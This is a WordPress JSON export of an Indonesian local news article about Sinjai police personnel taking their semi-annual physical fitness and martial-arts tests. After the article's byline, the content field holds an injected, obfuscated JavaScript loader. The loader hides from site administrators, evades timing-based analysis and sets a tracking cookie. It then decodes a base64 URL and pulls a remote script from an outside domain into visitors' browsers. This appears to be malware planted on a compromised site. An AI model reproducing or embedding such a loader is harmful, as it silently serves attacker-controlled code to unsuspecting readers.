{"id":11512,"date":"2025-09-24T02:50:32","date_gmt":"2025-09-24T02:50:32","guid":{"rendered":"https:\/\/karebanasulsel.id\/?p=11512"},"modified":"2025-10-24T20:36:39","modified_gmt":"2025-10-24T20:36:39","slug":"hari-ke-2-polres-sinjai-gelar-tes-kesamaptaan-jasmani-dan-ujian-beladiri-polri","status":"publish","type":"post","link":"https:\/\/karebanasulsel.id\/index.php\/2025\/09\/24\/hari-ke-2-polres-sinjai-gelar-tes-kesamaptaan-jasmani-dan-ujian-beladiri-polri\/","title":{"rendered":"Hari Ke-2, Polres Sinjai Gelar Tes Kesamaptaan Jasmani dan Ujian Beladiri Polri."},"content":{"rendered":"<p><strong>SINJAI, <span style=\"color: #ff0000\">Karebana<\/span><span style=\"color: #0000ff\">sulsel.id-<\/span><\/strong> Kepolisian Resor Sinjai melaksanakan Tes Kesamaptaan Jasmani (TKJ) dan Ujian Beladiri berkala semester II T.A 2025 di hari kedua, bertempat dihalaman Mapolres Sinjai, Rabu (24\/9\/25) pagi.<\/p>\n<p>Pelaksanaan kegiatan Tes Kesamaptaan Jasmani diikuti oleh seluruh personil Polres Sinjai dan Polsek jajaran baik Perwira maupun Bintara, pelaksanaan kegiatan dijadwalkan berakhir pada hari Jum\u2019at (26\/09\/2025).<\/p>\n<p>Kapolres Sinjai AKBP Harry Azhar SH.,S.Ik.,MH melalui Plt. Kabag SDM Polres Sinjai AKP Herman, S.Sos.,MH mengatakan semua rangkaian kegiatan tes kesamaptaan jasmani wajib diikuti oleh seluruh peserta.<\/p>\n<p>\u201cSejak kemarin dan pagi ini puluhan personel mengantri untuk mengisi formulir TKJ dan sebelum mengikuti Tes Kesamaptaan Jasmani setiap personel wajib dilakukan pengecekan kesehatan terlebih dahulu oleh tim Urkes Poliklinik Polres Sinjai. ujarnya.<\/p>\n<p>\u201cSebelum pelaksanaan TKJ diharapkan agar dilakukan dilakukan pemanasan terlebih dahulu untuk menghindari hal-hal yang tidak diinginkan. harapnya.<\/p>\n<p>Kegiatan Tes Kesemaptaan Jasmani dilaksanakan secara berkala yakni enam bulan sekali dan TKJ ini meliputi Lari 12 menit, Pull Up, Sit Up, Push Up, Shutle Run (lari membentuk angka 8).<\/p>\n<p>Setelah tes kesamaptaan jasmani dilanjutkan dengan tes bela diri Polri yang merupakan rangkaian TKJ.<\/p>\n<p>Kegiatan ini bertujuan untuk menjaga kesiapan stamina, mengukur kemampuan fisik personel serta selalu memelihara kesehatan, agar selalu siap menjalankan tugas-tugas dan tanggung jawab Kepolisian.<\/p>\n<p>Selain itu, sekaligus sebagai sumber dalam sistem penilaian perorangan selain penilaian aspek mental dan akademis serta aspek jasmani pun dinilai.<\/p>\n<p><strong>Redaksi : ABK<\/strong><\/p>\n<p><strong>&#8230;&#8230;&#8230;<\/strong><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hari Ke-2, Polres Sinjai Gelar Tes Kesamaptaan Jasmani dan Ujian Beladiri Polri.<\/p>\n","protected":false},"author":3,"featured_media":11513,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[1,10,673,680,676,682],"tags":[],"class_list":["post-11512","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-berita-terbaru","category-budaya","category-hukum","category-peristiwa","category-polri","category-terkini"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v24.1 (Yoast SEO v27.5) - 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